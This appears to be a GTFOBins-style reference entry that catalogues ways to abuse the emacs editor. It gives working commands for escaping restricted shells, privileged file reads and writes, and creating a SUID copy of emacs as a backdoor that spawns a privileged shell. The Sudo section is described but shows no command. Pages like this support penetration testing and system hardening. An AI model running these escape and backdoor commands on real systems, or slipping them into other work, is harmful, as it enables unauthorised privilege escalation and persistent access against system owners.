.. / emacs
Star

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
emacs -Q -nw --eval '(term "/bin/sh")'
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

```
emacs file_to_write
DATA
C-x C-s
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
emacs file_to_read
```

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

sudo sh -c 'cp $(which emacs) .; chmod +s ./emacs'

./emacs -Q -nw --eval '(term "/bin/sh -p")'

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.